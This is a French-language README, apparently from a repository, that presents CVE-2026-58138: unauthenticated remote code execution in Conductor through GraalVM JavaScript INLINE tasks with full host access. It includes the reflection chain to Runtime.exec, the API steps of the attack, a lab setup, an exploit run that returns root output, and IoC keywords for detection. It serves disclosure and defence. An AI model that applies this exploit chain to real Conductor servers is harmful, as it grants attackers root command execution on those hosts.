
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE non authentifié via l'évaluateur INLINE GraalVM (HostAccess.ALL). Laboratoire + PoC, vérifié e2e (root).
TL;DR: Orkes/OSS Conductor (versions
3.21.21à< 3.30.2) évalue du JavaScript fourni par l'utilisateur dans les tâchesINLINEà l'aide d'un contexte GraalVM avec un accès complet à l'hôte (HostAccess.ALL). Comme l'API communautaire n'a aucune authentification par défaut, tout utilisateur non authentifié peut soumettre un workflow malveillant, pivoter de l'objet JavaScript lié àjava.lang.Runtimeet en tant qu'utilisateur du processus Conductor (souvent ).
root| Attribut | Détails |
|---|---|
| Identifiant CVE | CVE-2026-58138 |
| Logiciel concerné | Conductor 3.21.21 à 3.30.1 |
| Version corrigée | 3.30.2 (Commits : 87a7d96, c691e35) |
| Classe de vulnérabilité | CWE-94 : Injection de code (contournement du bac à sable polyglotte GraalVM) |
| Score CVSS v3.1 | 9.8 (Critique) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune (l'API communautaire est non authentifiée par défaut) |
| Vérification | Confirmée en tant que root contre conductoross/conductor:3.22.3 |
Note de version : Les versions jusqu'à
~3.29.xutilisent la configuration simpleallowHostAccess(HostAccess.ALL), que ce PoC exploite directement. Les versions3.30.0et3.30.1ont introduit une liste noire partielle (bloquant certaines réflexions), mais la correction complète (allowHostClassLoading(false)+ durcissement du moteur) n'a été implémentée qu'en3.30.2. Ce PoC cible la configuration sans bac à sable.
La vulnérabilité réside dans la façon dont Conductor configure le contexte polyglotte GraalVM pour l'évaluation de scripts.
Dans core/.../events/ScriptEvaluator.java (≤ 3.29.x), le contexte est construit ainsi :
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // DANGER: Full host interop, no sandbox
.build();
Pourquoi c'est une porte ouverte :
HostAccess.ALL accorde au moteur JavaScript la permission d'appeler toute méthode ou d'accéder à tout champ sur les objets hôtes Java.INLINE lie ses paramètres d'entrée à la variable JavaScript $, qui est un véritable objet Java.$ :
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <commande>").Context.newBuilder("python").allowAllAccess(true)).L'attaque ne nécessite aucune authentification et suit trois étapes simples :
POST à /api/metadata/workflow avec une définition de workflow malveillant. La tâche INLINE contient la charge utile JavaScript réflexive dans son champ expression.POST à /api/workflow/{nom_workflow} pour déclencher le workflow.Runtime.exec réflexif exécute la commande OS, et le PoC capture intelligemment la sortie standard (stdout) et la renvoie comme résultat de la tâche result, récupérée ensuite via l'API.Démarrez une instance locale de la version vulnérable de Conductor avec Docker.
# Clonez le dépôt et démarrez l'environnement de laboratoire
docker compose -f docker/docker-lab.yml up -d
# Attendez environ 60 secondes que le serveur tout-en-un démarre complètement
Exécutez le script d'exploitation Python fourni. Il ne nécessite que la bibliothèque standard Python (aucune dépendance externe).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
Remarque : La sortie uid=0(root) prouve une exécution réelle sur l'hôte, pas une réponse simulée.
Une exploitation réussie accorde à l'attaquant l'exécution de commandes OS arbitraires sur l'hôte orchestrateur Conductor.
Comme Conductor est souvent déployé avec des privilèges élevés pour gérer l'infrastructure, cela entraîne généralement :
≥ 3.30.2. Dans cette version, les évaluateurs JS et Python ne fonctionnent plus avec l'accès à l'hôte ou le chargement de classes activé.Surveillez votre environnement pour les indicateurs de compromission (IoCs) suivants :
INLINE, LAMBDA, DO_WHILE ou SWITCH dont les chaînes expression référencent :
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect ou un accès générique au package java.sh, bash, cmd.exe) ou établissent des connexions réseau sortantes.Pour une analyse approfondie de la chaîne de réflexion, des configurations spécifiques aux versions de l'évaluateur et de l'analyse du correctif, consultez ANALYSIS.md.
Avertissement : Ce dépôt contient un laboratoire reproductible indépendant et une preuve de concept (PoC) destinés strictement à des fins défensives, éducatives et de tests de sécurité autorisés. N'utilisez pas ce code contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.